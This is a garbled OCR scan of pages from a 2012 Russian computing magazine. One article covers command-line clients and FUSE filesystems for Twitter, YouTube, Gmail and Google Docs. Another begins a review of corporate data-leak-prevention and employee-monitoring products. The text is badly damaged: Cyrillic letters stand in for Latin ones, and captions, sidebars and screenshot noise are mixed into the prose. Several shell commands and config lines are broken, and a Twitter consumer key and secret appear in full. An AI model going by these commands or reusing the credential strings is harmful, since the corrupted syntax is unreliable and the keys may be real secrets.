Linuх-разработчик Gгeg Kгoah-Haгtman . Этот

клиент называется Ыi и может быть исполь­

зован , например, так:

$ echo "Му current uptime is 'uptime'" 1 bti

Однако, чтобы начать использовать это

маленькое чудо. придется поизвращаться

с ОАuth-аутентификацией, которую исполь­

зует Твиттер. Для начала в разделе разра­

ботчика приложений Т виттера [twitter.com/ apps/пew ) необходимо получить Coпsumeг Кеу

и Consumeг Secгet и вписать их в конфиг Ыi:

$ vi -/.bti # Consumer key consumer_key;cZy8DdioswAfuЗLJYgбE2w

# Consumer secret consumer_secret;fniGGUeT12mMWKjmThUdSeKN 32NLWfmnwapwubVQ

Далее следует запустить Ыi. Он напеча­

тает на экране адрес страницы, на которой

ты с можешь получить PIN. Его необходимо ввести в ответ Ьti, после чего на экран будут

выведены access_tokeп_key и access_tokeп_

secгet, которые точно так же придется до­

бавить в конфиг. Далее Ыi должен заработать,

и с его помощью можно будет отправлять

сообщения прямо из командной строки.

Для YouTube также существует несколько

ХАКЕР 03/158/2012

интересных клиентов, как графических, так

и консольных. П ользователи среды Gпome

получают один из таких клиентов в комплекте

с плеером Totem. Пользователи КОЕ4 для тех же целей могут использовать плеер minitube, позволяющий просматривать, искать видео

и со ставлять плей-листы. Программа не за­

висит от библиотек КОЕ, поэтому подойдет

также приверженцам более экзотических

графических сред. Особого внимания за­

служивает консольный скрипт youtube-vieweг,

позволяющий искать и просматривать видео

с помощью штатного МРiауег.

Просто запусти youtube-vieweг, введи

поисковый запрос, и на экране появит-

ся пронумерованный список из двадцати

первы х совпадений . После ввода номера

н ужн о го ролика он незамедлительно начнет

пр о игрываться в полноэкранном режиме.

С крипт можно использовать для получения

списка самых популярных роликов за день

[флаг'-!'), списка самых популярных роликов

за в с ё время ['-а ' ), поиска плей-листов ['-р') и фильмов ['-М ' ) . Для указания предпо­

чтительного качества видео предусмотре-

ны флаги '-2', · - з · . '-4', '-7', ·-1· [240р, 360р, 480р, 720р и 1 О ВОр соответственно). Также с помощью флага '-sub;гu' можно пере­

ключить МРiауег на использование русских

с убтитров. Чтобы скрипт выводил больше

результатов поиска [50 вместо 20) , используй флаг '-m '. Скрипт youtube-v iewe г может стать

настоящим открытием для любителей смо­

треть ролики с YouTube. Найти и запустить видео с его помощью можно за считанные

сек у нды , а МРiауег обеспечивает гораздо

более высокое качество картинки. Скрипт

особенн о актуален при просмотре НО-видео,

с которым f l аsh-проигрыватель справляется

плохо, а МРiауег гоняет его без какой-либо

значительной нагрузки на процессор. Стоит

отметить, что сама скорость загрузки видео

также повышается [это проверено экспери ­

ментальным п утем , но с чем связано, неяс­

но). В качестве альтернативы youtube-v ieweг можно использовать videotop, имеющий при­митивный nсuгsеs-интерфейс с vi- п одобным

управлением . Однако он имеет колоссальный

недостаток: требует полной загрузки видео

до начала просмотра . Что касается других

серви сов поискового гиганта [я сконцентри-

ровалея на них из-за п опул ярности , а не лич­

н ы х прист р ас т ий), то з дес ь мож н о выделить несколько инте р ес ны х при л оже н ий. В о­

первых, это множест в о самых разнообразных

«уведомляло к» для Gmail, лучшими из ко­торых являются CheckGmail и Gmail Notifieг.

Обе выполняют одну простую задачу - сидят

в трее и выводят сообщение п р и п олуче н ии

письма . П о клику происход ит п ереход н а сайт

Gmail . Аналогичная штуковина для К ОЕ4 называется kdeplasma-gmailпotifieг. Она,

в отличие от двух упомянутых вы ш е про грам ­

мок, может висет ь не только в трее [а точнее,

на панели), но и на рабочем стол е и вообще где угодно, куда К ОЕ п оз в ол яет засу н у т ь

плазмоид. Также есть полноценные клие н ты

для работы с почто в ой службой. Из наиболее

интересных я бы отметил консольный sup, почти полностью копирующий интерфейс

легендарного п очтового клие нта Mutt. Среди утилит командн ой строки мож н о вы­

делить скрипт t гaпslatoг, который п росто пере­

водит слово/фразу/предложение на указанный язык, и cliweatheг, печатающий текущую

погоду для указанного места земного шара.

Оба очень просты в использовании и идеал ьно

подходят для интеграции в различные скри п ­

ты или, например, созданияуведомл е н ий

с помощью notify-send:

$ notify-send Погода \ 'cliweather ИНДЕКС -ГОРОДА'

Команду мож н о п рописать в скри nте

и повесить на горячую клави шу или в клю­

чить в задание cron [хотя, конечно, удобнее использовать один из множест ва апплетов для

отображения погоды в трее). Нельзя оставить без внимания и набор ути-

УСТАНОВКА GOOGLE DOCS FS В UBUNTU

$ sudo add-apt-repository ppa :doct ormo/ppa $ sudo apt -get update $ sudo apt-get instal l googl e-docs- f s

111

Page 114: Xakep 03_2012

UNIXOID

лит под названием GDataCopieг, предназначен­

ный для работы с Google Docs. Пакет включает в себя пять простых утилит: gls для просмотра списка документов, gcp для копирования до ­

кументов с локальной машины и на нее, gmkdiг

для создания каталогов и утилиты gгm и gmv для удаления и перемещения документов со­

ответственно. Пользоваться всем этим добром

просто и приятно. Например, для просмотра

всех документов из папки «Работа» делаем

так :

$ gls userп[email protected]:/docs/Paбoтa

Для их экспорта в формате PDF на локаль ­н ую машину- так:

$ gcp -f pdf \ userпame@gmail .com: /docs/Paбoтa/* / tmp/

Для созда ния каталога- так:

$ gтls<iir \. .... userna.me@gm;;~Ц_ . !;от;/. dас/t:tовая_папка

Конечно же, нельзя забывать и о контроль­

ном скрипте GoogleCL, предназначенном для работы с такими сервисами Гугла, как Bloggeг,

<<Календарь>>, <<Контакты>> [Gmaill, Google Docs, Picasa и YouTube [только добавление видео!. Мы уже писали об этой утилите в одном из про­

шлых номеров, поэтому я не буду повторяться

и просто приведу несколько примеров ее ис­

пользования.

1. Публикация п оста в благе с помощью

Bloggeг:

$ google. b.lagger рщt --Ьlog 'Linuxoid' \ с c:ti tJ.e 'Я в Googlech l ' . --:tags ' linux, \ сЦ : .. 'Oткpt>UJ ДllЯ . ceбя _Google(:~, . \ .

...... Ы.а. с!:>lа, .. 1;11а .: .

2. Добавление события в календарь:

> youtube vieыer

=» lnsert an YouTube Ul!l or search somethi ng .•. > linux

$ google calendar add \ 'День, когда земля остановилась'

3. Добавление контакта:

$ google contacts add \ 'Евгений Зoбнин,[email protected]'

4. Редактированиедокумента Google Docs [вдефолтном редакторе, имя которого

указано в переменной окружения EDITORI:

$ google docs edit --title \ "Список покуnок"

5. Добавлени е н ово го альбома в Picasa [и за­ливка фото к!:

$ google picasa create --title \ "Мои фотки" -/photos/*.jpg

6. П убликация видео на YouTube:

$ google youtube post --category \ Comedy yжoc.avi

Во время первого обращения к сервису он попросит ввести Gооglе-логин [адрес почты

на Gmaill и откроет страничку в браузе ре, на которой необходимо п одтвердить права

Goog leCL на удаленное управление. При по­следующих запусках сервиса ничего вводить

и подтверждать не н ужно.

Мы нашли массу приложений , способных

заменить не всегда удобный веб-интерфейс

сер висов. Но что если для какого-то экзо­

тического веб-сайта еще не разработано

нужного приложения или существующие нам

не приглянулись [как вариант, понравился стандартный веб-интерфейсl ? В этом случае можно применить технологию Desktop web appl i catioп, которая обеспечивает запуск

1 - UberStudent 1/eview - liпux Distro 1/evieloJS lby lnflnitely6alactic ) ( 11 :58) 2 - Ubuntu 11 .18 1/eview- linux Distro 1/evieloJS lby lnfinitelyGalactic) 113 : 12) 3 - How То Baclc:up Your Frugal Puppy Using Puppy linux lby icyos ) 183 : 16) 4 - Creating а DeЬian AIIM JМG for Archos - linux - Part 2 l by metalx1BBВJ ( 18 :56) 5 - linux Mint 12 1/evieы- linux Distro 1/evieloJS lby JnfinitelyGalact icJ 112:41> Б - linux is Better Тhan llindoloJS lby loclc:ergnome) !B5:BBJ 7 - linux lby llhatYouDughtтoKnow) 184:32) В - linux Mint 12 1/evieы 1 LA5 1 s19eBB l by jupiterbroadcastingJ 155 :49) 9 - Js Desktop linux Dead? 1 LAS 1 s19e84 lby jupiterbroadcasting ) 181:18 : 18!

18 - linux Opti11ization lby Jockergnome) 185:35) 11 - openSUSE 12 . 1 1/evieы 1 Тhе linux Action Sho"'! lby jupiterbroadcasting) (55:52) 12 - Pinguy OS 11 . 11! 1/evie"'- linux Oistro 1/evieloJS lby lnfinitelyGalacticJ 118 :44) 13 - llindoыs is Better Тhan linux lby loclc:ergnore) 184 :87) 14 - Fedora 15 1/evie"'- linux Oistro 1/evieыs l by InfinitelyGalactic) 119:17> 15 - Мessages from the linux Cшmunity lby ТhelinuxFoundationJ !85:B3 J 16 - linux Mint Cinnai!IOfl Desl<top early lool< Jan 18th 2812 lby linux4UnМe) 187 :56) 17 - Тhе Не"' Нui\Ьer One Distro? - linux Mint 12 lby gotЬletuJ 188 :1!3) 18 - IIIHOOIIS VISТA AEI/0 VS LIHUX UBUHТU BEI/Yl l by tearbd2J 184 :33 ) 19 - An lntro to linux Part 1: llhat is linux? !Тhis lleel< ln linuxJ !Ьу th i sыeelc:inlinux) 183:26) 28 - Fedora 16 1/eview- Linux Distro 1/evieыs (Ьу lnfinitelyGalactic) (87:57)

Youtube-viewer- консольный скрипт для просмотра роликов с YouTube

112

веб-приложений в отдельных независимых ·

окнах, лишенных элементов управления веб ­

браузера . Когда-то Mozilla запустила амбициозный

проект Pгism 11:1. rn. 1.Ql•l <! abs ~~ rol, позво­ляющий превратить веб-сайт в стандартное

десктопное приложение со своим ярлыком,

процессом управления и прочим и атрибутами

обычной программы . Тогда многие адепты

компании заявили , что появление подобного

проекта- это шаг к светлому будущему <<о б­

лачного >> десктопа, в котором большинство

приложений будет работать в Сети , а поль­

зователь сможет размещать их на рабочем

столе и з ап ускать без использования веб­

браузера. Проект благополучно загнулся

[а ес л и точ н ее, переро с во фре йм в о р к для создания кастом ны х браузеров и с вязанны х

с wеЬ-техноло гиями приложенийl, но его идеи живут и дажевнекотором смысле про­

цвета ют .

Например, пресловутый Google Chгome уже давно имеет в своем составе механизм

превращения веб-сайтов в приложения . До­

статочно открыть нужный веб-сайт, перейти

в пункт << Меню -7 Инструменты -7 Создать ярлыки приложений ... >>, выбрать место раз­мещения ярлыка [рабочий стол и/или меню приложенийl, и- вуаля!- на рабочем столе появится ярлык, по клику на котором

в обособленном окне откроется сайт без

ненужных обвесок в виде меню браузера

и строк ввода/поиска . То же самое, причем

даже из командной строки, можно сделать

и с приложениями, установленными с по­

мощью Chгome Web Stoгe [по клику правой кнопкой мыши!:

$ chromium --app=http : //gmail.com

Достаточно интеллектуальный менеджер

окон сохраняет положение и размеры окна

перед закрытием и восстанавливает его

на прежнем месте при следующем запуске.

Функция веб-приложения есть и в браузере

Fiгefox. Здесь всё еще проще : достаточно пере­

тащить favicoп сайта на рабочий стол, и ярлык

появится сам собой.

Зто действительно удобный способ созда­

ния веб-приложений на рабочем столе, но он

не лишен некоторых недостатков. В частности,

лично меня сильно напрягает, что приложение

будет работать под управлением хоть и лишен­

ного элементов управления, но полноценного

веб-браузера с плагинами, расширениями

и всем остальным совершенноненужным

в данном случае балластом, который толь-

ко сжирает память и процессори не несет

никакой пользы. Позтому я рекомендовал

бы использовать для подобных задач более

легкие решения, к примеру минималистичный

браузер suгf.

Браузер suгf основан на движке WebKit, не имеет интерфейса и управляется с помощью

клавиатурных комбинаций . Это самый легко­

весный и быстрый из всех браузеров, основан­

ных на полноценном НТМL-движке, а потому он

ХАКЕР 03/158/201 2

Page 115: Xakep 03_2012

Sup- Мutt-подобный клиент для Gmail

идеально подходит для запуска приложений.

Самый простой вариант его запуска выглядит

так :

$ surf http:)/gmail.com

На экране появится интерфейс Gmail в аб­солютно голом и чистом виде. Браузер добавит в него только узенькую полоску загрузки,

которая отобразится в нижней части окна.

Чтобы задать нужные параметры окна сразу

во время запуска, можно воспользоваться

утилитой wmctгl:

#!/Ьin/sh

surf http://gmail.com wmctrl -r surf -е ·e,se,se,4ee,зee·

С крипт откроет Gmail в окне suгf, сделает размер окна равным 400 х 300 и разместит его в левом верхнем углу, с отступом 50 слева и сверху. С помощью среды рабочего стола

скрипт легко превратить в ярлык и поместить

на рабочем столе .

Иногда удобнее не использовать специаль­ные клиенты, а монтировать веб-сервисы

в виде простой файловой системы, где можно

бродить с помощью файлового менеджера

GOOGLEAUTH

Недавно Google изменил метод аутентификации сторонних приложений,

поэтому для каждой программы lскрипта),

работающей с аккаунтом Google, nридется создать отдельный nа роль . Для этого заходим

на страницу https://www.goog le.com/set-tings, далее выбираем оnцию << Авторизация nриложений и сайтов ~Изменить», вводим

nараль и задаем новый nараль с nомощью

сnециальной формы в конце страницы.

ХАКЕР 03/158/2012

(наnример, в поисках интересн о г о видео на YouTubel, создавать и удалять файлы (например , для управления п о чтой ! и ис­

пользоват ь разнообразные перен аправления

ввода-в ы в ода. Для тех же серв исо в Гугла

существуе т ч етыре таких виртуал ьных фай­

ловьlх с и сте м ы на основе FUSE: Yout ubeFS, GDataFS, Gm aiiFS, Google Docs FS (есть еще goofs, но это полузаброшен н ая Jаvа­

поделка l. Та кже в Сети можн о н айти f lickгfs , предна з н ач енн у ю для загруз ки изоб ражений

на flickг.com и MetaWeЫogFS. С ее помощью

можн о п остить в блоги прямо из командной

строки .

Крат к о пройдемся по всем фа йловым

системам и попробуем разобратьс я, к а к и х

использовать. Итак, Youtube FS !code .goog le. com/p/youtubefs/1 - файловая си стема для до­сту па к YouTube. Этой системы нет в большин­стве дистрибутивов, однако для ее устан о в к и

достаточно с качать с сайта тарболл и распако­

вать его . Пользоваться так:

$ ./youtubefs .py [email protected] \ / путь/до/каталога

П осле этого в указанном каталоге появят­

ся все плей-листы и каналы, на которые

ть1 подписан . В каталогах ты найдешь сами

видеозаписи. Аналогичной функционально­

стью обладает GOataFS ( gdatafs . souгcefoгge . net l, которую можно найти в репазитариях дистрибутивов. Синтаксис ее вызова не­

сколько иной:

$ gdatafs /путь)до/каталога \ [email protected] параль

Файловая система GmaiiFS ( sг71 . net/

pгojects/gmailfs /1 предназначена для монти­рования почтового ящика Gmail. Она работа­ет на основе протокола IMAP, поэтому перед ее использованием придется включить его

поддержку в настройках сервиса (Настрой­ки~ Пересылка и POP/IMAP ~Включить IMAPI. После этого необходимо создать конфиг /etc/gmailfs/gmailfs.conf следующего содержания :

Достучаться до н ебес

# vi /etc/gmailfs/gmailfs.conf [account] username = usernamegmail.com password = параль [filesystem] fsname linux_fs_4

[logs] l evel = INFO logfile = - / gmailfs.log

Затем н ужно примонтировать файловую

систему:

$ ./gmailfs.py -о allow_root поnе \ / путь/до/каталога

Теперь перейдем к Google Docs FS (code. google .com/p/google-docs-fs/1 . Эта файловая система предоставляет доступ к документам

Google Docs. Использовать ее так же просто, как и все остальные ФС в нашем обзоре:

$ gmount / nуть/до/каталога \ [email protected]

После этого в катало ге появятся подката­

логи и файлы в точно таком же виде, в каком

они представлены на сайте docs.google.com. Документы можно копировать, перемещать,

добавлять и удалять. Для отключения исполь­

зуем команду gumouпt:

$ gumount / путь/до/к аталога

l:i§l:lei!C!I Веб-сервисы с п особны заменить почти

любое настольное приложение. Их не нужно

устанавливать и обновлять. Они позволяют

не беспокоиться о сохранности данных и на­

строек . Однако сам интерфейс веб-сервиса

может не подойти некоторым пользователям

или оказаться слишком тяжеловесным или

назойливым. В этом случае удобнее об­

ратиться к специализированным клиентам

и файловым системам, которые, как ты смог

убедиться, в достаточном количеств е имеют­

ся на просторах Сети . :::И:

113

Page 116: Xakep 03_2012

SYN/ACK Сергей «gгindeг» Яремчук lgгindeгlё!synack.гul .

БОРЬБА С УТЕЧКАМИ КОРПОРАТИВНОЙ ИНФОРМАЦИИ

В современном мире одним из ключевых экономических ресурсов является

информация. Кто ей владеет, тот будет иметь успех, в то же время утечка данных

практически всегда означает потерю клиентов, а то и крах компании . Именно

поэтому сегодня так велик интерес к DLР-решениям, позволяющим выявлять и

предотвращать передачу конфиденциальной информации. Выбор большой, лидеры

еще не сформировались, а предложения часто схожи по функциям, но отличаются

логикой работы и заложенными принципами, поэтому определиться не так просто.

-Важныйэтап в развертывании DLP -внедрение, когда

необходимо четко сформулировать требования и ожидания

и «Обесnечить» DLP всеми данными для

контроля . -Репозиторий Ubuntu для MyDLP- <tow_n_­~111.edгatecb . иm.lц!шn.tu .

ХАКЕР 03/158/2012

Page 117: Xakep 03_2012

КАК ВЫБРАТЬ DLP? Информационная безопасность стала одной из составляющих дея­

тельности любой компании, а соответствующие риски влияют на ее

рейтинг и привлекательность для инвесторо в . П о ста тистике, в е ­

роя т ность утечки конфиде н циальной информа ц ии из-за действ ий

сотрудника организации [и н сайдера] превы ш ает вероятн ост ь утеч ­ки в результате взлома, причем это не обязательно умышленные

действия, пользователь может случайно отпра в ить файл не тому

адресату. До появления интернета контролировать деятельность

сотрудников было практически невозможно. Н ет, установить

контроль, конечно, было реал ь но, но технических средст в для

автоматизации про цесса не существовало. Сейчас всё изме н илось.

Деловая переписка ведется по электронной почте, пользователи

общаются посредством lM и VoiP, обмениваются файлами, ведут блоги, публикуют сообщения в сацсетях и т. д. Все эти каналы

легко контролировать автоматически, мощность современных

серверов и емкость носителей позволяют собирать и обрабаты в ать

данные в реальном времени. Чтобы обнаружить и предотвратит ь

передачу конфиденциальных данных на разных эта п ах [при пере­меще нии, использовании и хранении ] , применяется целый класс систем защиты- DLP [Data Leak Ргеvепtiоп] . На сегодня суще­

ствует еще с десяток терминов-синонимов для таких систем: ILDP [lпfoгmatioп Leak Detectioп & Pгeveпtion], IPC [lnfoгmation Pгotection and Contгol], ILP [lпfoгmatioп Leak Ргеvепtiоп] и др . Задача у них,

в общем-то, простая - мониторинг, идентификация и защита .

Официальных стандартов, о п ределяющих, какой должна быть DLP, пока не существует, поэтому разработчики nо-разному смотрят

на функции DLP. Часто можно встретить самые разные реали­зации, не всегда включающие действительно необходимое или,

наоборот, напичканные ненужным функционалом, добавлен н ым

по заказу компании. Однако со временем определились некотор ы е

требования, которыми должно обладать полнофункциональное

DLР-решение. В первую очередь они касаются диапазона возмож­

ных каналов утечки:

электронная почта [SMTP, РОРЗ, IMAP]; программы обмена IМ/Vо iР-сообщениями и Р2Р-клиенты; веб-ресурсы [социаль н ые се т и, форумы, бло г и], а также пере ­

дача файлов по протоколам НТТР, НТТРS и FТР;

сетевая печать [SM В P гinting, NCP Pгintiпg , LPD, и т. д . ]; внешние устройства [USB, CD/DVD, принтеры, Bluetooth, модемы и т. п . ], сетевые папки .

Характер п ередаваемых да нн ых определяетс я путем обнару­

жения специфических признаков [метки, хе ш- фу н кции, грифы ] и анализа контента [статистический анализ, регулярные вы-

---~__.... ,)

12 • 2 • • • ' • 1 • IG • \2 • 2 •• • ' • 1 • 'IO • Il

--в--- е -- е е

•-Р--а-з.--

Настрой ка разрешен и й в DeviceLock Endpoint DLP Suite

ХАКЕР 03/158/2012

В поисках и н сайдера

ОШИБКА В РАБОТЕ DLP МОЖЕТ ПРИВЕСТИ К БЛОКИРОВКЕ

ВПОЛНЕ ЛЕГАЛЬНОГО ТРАФИКА И

ПОМЕШАТЬ РАБОТЕ СОТРУДНИКОВ

ражения и т. п.]. Хорошие системы, как правило, используют все доступные технологии , а администратор может легко создавать

правила самостоятельно на основе подготовленных шаблонов .

Кроме того, DLР-система должна обеспечивать службу безопасно­

сти инструментом для анализа всех событий и архивом переданной

информации. Еще одним критерием, определяющим выбор DLP, является возможность блокировать утечку дан н ых в реальном вре­

мени. Однако специалисты по-разному относятся к этой функции,

ведь ошибка в работе DLP [а ложные срабатывания случаются, особенно на этапе ввода в экс плуатацию] может привести к бло­

кировке вполне легального трафика, а значит, помешать работе со­

трудников . Поэтому многие администраторы предпочитают анализ

по факту, а не блокировку.

WEBSENSE DATA SECURITY SUITE Са йт проекта : websense.com . Лицензия:проприетарная .

ОС сервер : Windows Server 2003 R2 . ОС клиенты: Windows Vista, 7, 2003, 2008/R2. Русифи кация: отсутствует.

Калифорнийская корпорация Websense хорошо известна как производитель систем филырации веб-трафика, в частности,

в Facebook вскоре будет внедрена ее разработка для защиты при переходе по внешним ссылкам. Решения ориентированы в первую

очередь на средние и круnные компании со штатом свыше 500 сотрудников и государственные учреждения. Комплекс Webseпse

DSS за счет контроля основных каналов обмена данными позволя­ет в реальном времени остановить утечку конфиденциальной ин­

формации . Он работает на основе технологии цифровых отпечатков

PгeciseiD, разработанной компанией PoгtAuthority Technologies, которую Websense купила в 2006 году . PreciseiD обеспечивает вы­сокую точность обнаружения конфиденциальных данных и не име­

ет некоторых недостатков лингвист ических методов . Данные опи­

сываются при помощи « цифрового отпечатка >>, представляющего

~.:._:=~ -~ ~-~ -'"'-w ~~.--------,IЬ"',..=.-= .. :::~=·=-· ---------J 8dl c.-c~ ....

lii$~--·-'""'""""!''!IIIIICI!I=a=ВI!!Iii!!IC=---~~==-~ .. -~~ -~~~-r-

:IJ"ICO:u'lq~Yypts '11"~ ... ,.", ___ _ .._ __ ...... _ '!~" __ .._

~~,._

к..--- - ! в.:-

Установле нны й DeviceLock DLP содержит ряд готовых nравил

....... _ --­~-~ ------------------. . - .

1 1Ь!88!-=- • 1 rь.-.

115

Page 118: Xakep 03_2012

SYN/ACK

WEBSENSE DSS ОПРЕДЕЛЯЕТ РЕАКЦИЮ НА ИНЦИДЕНТ ЛИБО

ТРЕБУЕТ ПОДТВЕРЖДЕНИЯ ОТ

ОТВЕТСТВЕННОГОСОТРУДНИКА

собой набор символов или слов документа или содержимо го полей

БД. Такой подход обеспечивает точную классификацию контента

более чем для 400 форматов до кументов (включая та блицы СУБД

и сжаты е файлы ! , да же если данные перенесены или конвертиро­ваны в другой формат. Кроме PгeciseiD, используются другие алго­

ритмы : словари, точное и частичное совпадение, статистический

анализ и т. д. Вместе с тем для анализа информации в продуктах

Websense nрименяется несколько технологий Deep Content Сопtгоl и Thгeat5eekeг (сканирова н ие веб-сайтов и обнаружение новых угроз).

П роизводится мониторинг основ н ых каналов передачи: элек­

тро нн ой почты (5М ТР), сообще ний М5 Exchange, НТТР/НТТР5, FТР, IM/M5N . П редусмотрена интеграция по ICAP с любым и нтернет­шлюзом, поддерживающим этот п ротокол. Для мониторинга сервер

Websense может устанавливаться в разрыв или использовать зеркалирование трафика (5PANI.

Websense 055 ав томатически определяет реакцию на инци­

дент либо требует подтверждения от отв етственно го сотрудника.

Система умеет блокировать передачу конфиденциальных данных,

отправлять уведомление !специалисту службы безопасности, начальнику или владельцу контентаl, запускать внешнюю про­

грамму, отправлят ь запрос н а п одтв ерждение отправки и др.

Система присваивает ин ц иде нт у у никальны й номер и прикрепля­

ет к сообщению файл. Администратор задает г ибкие политики

с учетом бизнес -процессов ком п ании, а в комплекте поставки уже

имеется несколько десят ков шаблонов и н астроенных отчетов

по инцидентам и активности п ользовател ей. Продукты Websense позволяют ограничить доступ к определенным сведениям для

отдельных сотрудников или групп, защищают корпоративную

документацию от внесения несанкционированных изменений.

Остальные возможности включают п ринудительное шифрование

электронной п очты (ч ерез шлюз! и совместную работу с други­ми продуктами Websense (напр имер, со шлюзом безопасности

ВОЗМОЖНОСТИ OPENDLP

Websense Web 5ecuгity Gatewayl. П оддерживается интеграция · с Act ive Diгectoгy, Novell eDiгectoгy и Lotus Domino. Совместно с Websense 055 используется ряд других приложений, расш иряю­

щих возможности ком пл екса DLP: Data Еndроiпt-устанавливается на конечные П К, где контро ­

лирует данные, передаваемые через U5B и при печати, попытки сделать скриншоты экрана, сообщения lM и т. д . ;

Data Мопitог- осуществляет мониторинг каналов передачи, · чтобы о п ределить, кто, куда, как и что отправляет, и сопоставить

с политиками и бизнес-процессами, снижая риски;

Data Ргоtесt-включает Data Мопitо г, автоматически блокирует

утечку данных на основе политик;

Data Discoveг- программа для поиска и классификации конфи­денциальныхданных, которую можно использовать как в составе

055, так и отдельно, не требуетустановки агентов.

Для управления всеми решениями Websense используется единая консоль Websense TRITON Coпsole (Java и Apache Tomcatl.

Websense 055 очень просто устано вить . В архив уже входит М5 5QL 5егvег Expгess 2008 R2, но для больших сред лучше ис п ользовать

полную версию. Первоначальная настройка политик производит­

ся при помощи просто го мастера, создающего шаблоны с учетом

страны и характера деятельности организации, в том числе имеют­

ся и региональные настройки для России .

FALCONGAZE SECURETOWER Сайт nроекта: falconqaze.ru. Лицензия:nроnриетарная.

ОС сервер: Windows 2003/2008lx86/x64). ОС клиенты: Windows XP/Vista/7/2003/2008lx86/x64). Русификация: есть.

Относительно молодое решение, разрабатываемое россий­

ским 000 «Фальконгейз>> . П редставляет собой программный

продукт, использующий для поиска конфи денциальной инфор­

мации технологии контентного, атри бутив н ого и стати с т ическо­

го анализа (ключевые слова, регулярные выражения, отпечаток и т. д.) . Обеспечивает контроль всех популярных каналов утечки

данных, в том числе отслеживает за ш ифрова нны й трафик

(НТТР/5, FТР/5, РОРЗ/5, 5МТР/5, IMAP, 05CAR, ММР, M5N, XMPP I Если в организации используется М5 Exchange 2007/2010, то вся внутренняя и внешняя переписка также проверяется на соот­

ветствие политикам. Особо хочется выделить полную поддерж­

ку 5kype, ведь 5есuгеТоwег может перехватывать голосовой трафик, текстовые сообщения, файлы и отправляемые 5М5.

Проект OpenDLP lcode.google.com/p/ ~1 предлагает комплекс инструментов

для nредотвращения возможных утечек

информации с клиентских машин,

работающи х под управлением Win-

помощи SSL !используется libcuгl) . Настройку

большого числа агентов упрощают профил и,

содержащие правила сканирования.

(nолучать список файлов, в которых найдены

совпадения) и управлять работой агентов

!пауза сканированияидеинсталляция

агента) . В текущей версии не производится

проелушивание сетевого трафика, а также

анализ информации, копируемой на внешний

носитель , программа проверяет только

документы в текстовом формате, хранящиеся

на жестком диске ком па . Проект пока

находится в стадии активной разработки .

Первая версия под номером 0.1 представлена в апреле 2010-го, текущая версия- 0.4.3 . Серверная часть написана на языке Регl , для

установки разработчики рекомендуют Apache и Linux, для х ранения данных используется MySQL. Агент написан на языке Си. Исходные

dows . Для этого на подчиненных комnах устанавливается небольшой агент.

Само развертывание производится

в автоматическом режиме через Netblos/SMB. Кроме того, возможно прямое сканирование

систем без установки агентов в Windows !через SMB), *niх-системах ISSH) и СУБД IMS SQL и MySQL). Централизованное управление

осуществляется при помощи веб - интерфейса,

обмен данными с агентом производится

по каналу связи, зашифрованному при

116

В правила х для описания объектов поиска

используются Регl -со вместимые регулярные

выражения , позволяющие обнаруживать

н о мера кредиток и паспортов , SSN, пароли, выявлять наличие на ресурса х

документов с конфиденциальными данными

и отслеживать их обработку на внешних

сервисах IGoogle Docs, Gmail) . Администратор

может настроить черный и белый список

каталогов для сканирования и задать

отслеживаемые расширения файлов .

В настоящее время интерфейс позволяет

просматривать результаты сканирования

ХАКЕР 03/158/2012

Page 119: Xakep 03_2012

о--- ·-"'~ -­............ """''"' .......... .......

• .__w.._........,."...._......,.....,.._..,......,.,.r...,__.._._.._ • ._,._w.,_.._.._ ... ___ ....,. . wш~·

•- ~"'-' -..-. В о М! Dq!t!aR"'!:t_. "'D,em fQ~ ...-~ _.,_._.......,.., __ 1Z!SIПa rQ~Scnll 6]iO.J5 _",_.._,

I!Xm!Ncr!SIOWdnмA'ft•l 1tJ~ $acll d4J'S ~.,.,._._.,.._,...1.... 1IIQ.ta 1[)~ 5о1:С ~ ~.,*~,._

~$tp!trdeмi'И1 ~==:: ::: =::~=-==..:= IQ!StqyyD9!\'Ьrdцr+1 ~ '""""*-1 .S0i1t 6835 О.С.. .................. ._ ~ '4~$atlt _., ....... ......., ..... Н-WtteqsJEJrtd;IQattr«di! ro~ s.r. ...us _"'._..,. ........... ~ ~ r{J ,....... ~ 631815 ~., ..... ----.... :к... wн.rurnмt!Qnмtю!aJ r/J~ Scr1>l ~ __ ., ............... >d.-ИQmAgpiJ!tyrlwм'tJ•ppt r/J ............... ...._ t.JI0]5 -<ti-S4 ........... 0.~

~ t,Q .......,. --~ 6.J80J5 ~--.и--....... = ..... _. :g::: == :: ::::::~:::::.=.-.:. АФ!оr•м•и•n .. ""*"• riJ~ ....,.е._ dD35 -fii...-И168it_.........._ NA«n "F«f·''"A rD"""""*'"" -.-...- ~ _", .. u...,..._..~ 8cпJrnltetcт....twu-nl,.......'i'nч• !/J """"*-1 ._...е.- ~ -r~-- .. IIIIW>•-~ ":J~ ~ &.us _.,s...a,~~ ~ lt} ........... _., 018)5 _.,s.-.8r~~

~ ~~ ~ 68И ~"!~~~~

~г гггг ~·J ....... -1~---

Шаблоны Websense DSS

Не все DLP это умеют или обеспечивают в полном объеме !чащ е ус тановленный агент контролирует лишь текстовые сообщения]. Перехват трафика может быть настроен выборочно: по IР­

адресам или диапазонам, МАС-адресам, п ортам и протоколам,

логинам, размеру файлов и т. д. Система распознает защи­

щенные па роле м документы MS Woгd/Excel, PDF и некоторые типы архивов. Когда пользователь отправляет документ или

архив, защищенный па рол ем, она генерирует событие и предо­

ста вляет администратору полную информацию и копию файла.

SecuгeToweг контролирует данные , копируемые на внешние

ус тройства , печать на локальных и сетевых принтера х. Чтобы

избежать ошибки при определении отправителя, SecuгeToweг,

кроме общепринятой информации, пол уче нной из домена ,

анализирует все контактные данные, IР-адрес и период его

использования, логин в различных месседжерах и т. п. Дал ее

система заводит переанальные карто чки , с помощью которых

вся собранная информация привязывается к учетным записям

!возможна интеграция с Active Diгe ctoгy ]. Кроме того , SecuгeToweг имеет функции, не специфичные для

DLP, но весьма востребованные в большинстве организаций. Та к,

с ее помощью можно контролировать работу сотрудников- си ­

стема периодически делает скрины эк ранов для последующе го

просмотра в х ронологическом порядке, отслеживает внутренние

и внешние контакты. При этом формируются наглядные интерак­

тивные отчеты, позволяющие в дина мике наблюдать за сетевыми

соб ытиями и активностью отдельных пользователей. На основе со­

бра нны х данны х очень легко выяснить, сколько времени сотрудни к

потратил на пустое общение, прен ебрегая своими служебными

обяза нн остями, и когда это имело место.

Функционально SecuгeToweг состоит из нескольких компонентов:

се рвер перехвата трафика- захватывает сетевой трафик

и переда ет его в баз у данны х для хранения !наиболее требова­тельны й к ресурсам компонент];

сервер контроля рабочих станций- используется для развер­

тывания агентов на рабочие станции, мониторинга их работы

и сбора информации, п ерех вач енной агентами lв том числе шиф ­рованного трафика и данны х о работе с внешними устройствами];

